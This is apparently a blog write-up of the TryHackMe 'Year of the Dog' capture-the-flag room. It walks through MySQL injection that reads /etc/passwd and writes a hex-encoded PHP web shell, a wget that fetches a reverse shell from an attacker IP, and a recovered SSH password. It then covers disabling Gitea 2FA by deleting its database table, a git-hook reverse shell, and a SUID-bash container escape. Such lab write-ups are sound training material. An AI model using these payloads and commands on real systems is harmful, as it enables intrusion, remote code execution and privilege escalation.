thm-yearofthedog-public

TryHackMeYear of the Dog Write-Up

topics: web application attacks, OWASP (SQL injection), code injection, sensitive data exposure, file upload bypassing, SSH tunnel, lateral movement, client side attacks (bypass 2FA), escaping containers, Linux Privilege Escalation

nmap -vv –reason -Pn -A –osscan-guess –version-all -p- -oN “/root/dog/results/10.10.221.0/scans/_full_tcp_nmap.txt” -oX “/root/dog/results/10.10.221.0/scans/xml/_full_tcp_nmap.xml” 10.10.221.0

There are only two ports open on this machine, SSH and HTTP. The homepage is a UK flag with a particular message:

if we delete the cookie we are issued a new number

We are issued a number from the queue. As there are only two open ports on this machine, we can surmise we’ll find an initial foothold this way, and the fact that we are being “queued’ and are issued a random number is an interesting sign.

The config.php page found by gobuster was empty, therefore all signs point towards this page. The only value we know that changes is the number when we reset our cookie value as if we were a new viewer. What happens if we change the value of the cookie and send a request?

We get a message that we are number “error” in the queue, this indicates the site might be vulnerable to SQL injection

SQL Injection

Let’s start with a simple apostrophe to determine the platform and version of SQL that this website uses

this server is using MySQL

This server is using MySQL so we can begin with simple UNION statements in MySQL that attempt to find the version, tables, columns and values they hold like usernames and passwords.

Lets try a statement to determine the number of columns ' union all select 1,2,3 -- -

If we remove a column we get the following message, confirming we have two columns

Lets determine the version, user, and table name using

‘ union all select 1,@@version — –
‘ union all select 1,user() — –
‘ union all select 1,table_name from information_schema.tables– –
replacing with database() reveals the “webapp” database

We can see the database is MySQL 5.7.31 on Ubuntu 18.04, running as the user web in the queue table and queueName column

Reading & Writing System Files

After attempting some common payloads to extract a username and password to SSH into, I decided to try other attack vectors. Occasionally, SQL databases have the ability to read system files and write files to the system, we can test using ' union all select 1,load_file("/etc/passwd")-- -

we can see the user for this machine is dylan

We can successfully read system files. We know this website uses PHP, we need to find a way to execute a reverse or bind PHP shell on this system. How can we write to the current directory?

We know the system is running Apache on Ubuntu so the working directory is most likely /var/www/html lets attempt to use INTO OUTFILE to write a file on the system

we can read the file we wrote to

Now that we’ve verified that we can write to the system, we can attempt to use PHP code to execute cmd and store it in URL based shell with ' union all select 1,"<?php echo shell_exec($_GET["cmd"]); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- -

we hit a RCE filter
Local Privilege Escalation

The system has a filter that disallows random PHP code. We can inspect the source code of the website to determine what the filter is by loading the file with ' union all select 1,load_file("/var/www/html/index.php")-- -

The cookie is filtered via hex data, if we send the hex encoded command from above, we get an initial foothold. The specific command didn’t work but there are various ways to execute cmd with PHP including <?php system($_REQUEST['cmd']); ?> which worked using

‘ union all select 1,”0x3c3f706870206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b203f3e” INTO OUTFILE ‘/var/www/html/test.php’ — –
the prefix 0xhex was needed as the system interpreted the encoded value as an invalid column
Initial Access

We can now download and execute a PHP reverse shell. Start an HTTP server and run

?cmd=wget http://10.6.18.145/me.php : URL shell
nc -nlvp 53
curl http://dog.thm/me.php
Lateral Movement

We aren’t the user dylan yet, but peeping around his home directory reveals compromising information.

This file work_analysis appears to be a log of an SSH brute force attempt

There are numerous error message within this log file. Parsing for only passwords prints basically the file itself, however if we parse passwords for perhaps dylan’s we see it is returned

We now have the credentials dylan:Labr4d0rs4L1f3 to login via SSH

we are now the user dylan
Root Privilege Escalation

Dylan does not have sudo privileges on the machine so we’ll have to search for other means of becoming root. I ran a LinEnum.sh script that returned vital information

Upon first glance, we notice there is a port running internally on 3000, something that our scans would not have found. We can create a tunnel to this port and inspect the service.

SSH Tunnel

We can also see dylan is running a web service called gitea which might be connected to the internal port.

We can create an SSH tunnel to this service using ssh -L 8000:localhost:3000 dylan@dog.thm

Bypass 2FA
we can now access the gitea service on our localhost:8000

If we try and login with dylan’s credentials we can see we are stopped by 2FA

We have dylan’s credentials, the owner of this service, perhaps we can discover a way to disable 2FA on the gitea app and login with dylan’s creds or find a hint for Dylan’s 2FA password.

We know of the service’s location via LinEnum.sh, lets list the contents and see if we find anything interesting.

We can see a binary .db file, lets attempt to parse this for strings relating to dylan or 2FA.

We see 2FA is controlled by, two_factor. Since we now know the name of 2FA, we can delete this requirement with python3

import sqlite3
c = sqlite3.connect(“gitea.db”)
c.execute(“delete from two_factor”)
c.commit()
c.close()

Now when we login we aren’t required to enter 2FA

Gitea is a self hosted git service, meaning if we find an avenue to edit files we can potentially commit and push a reverse shell. Searching around the Test-repo settings we can see a section called Git Hooks which stores and runs repository scripts.

This file is a bash script so we can add a basic nc reverse shell and push the new commit. Following this we must clone the repository and push the new commit.

git clone http://127.0.0.1:3000/Dylan/Test-Repo.git

The user git has all sudo privileges, granting us root privileges

Escape Container

Checking the contents of the current directory we can see we are in a container and not on the main machine

For us to escape this container and elevate to root on the host machine, we have to find a shared folder between the container and host. When we create a binary file as user root within the container, it’s assigned a UID of root on the host OS.

We can effectively create a bash shell owned by root with SUID privileges. Navigating to / we see a directory /data which contains the same files as the gitea repository.

We can change the permissions of /bin/bash in the container and copy it to /data/bash using chmod 4755 /bin/bash && cp /bin/bash /data/bash

copying the bash shell from the container does not work. We have to copy the shell from the host OS with nc and change that to SUID permissions.

Checking the size of the new bash program, we can now execute the shell on the host OS with ./bash -p

we are now root on the host OS
Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *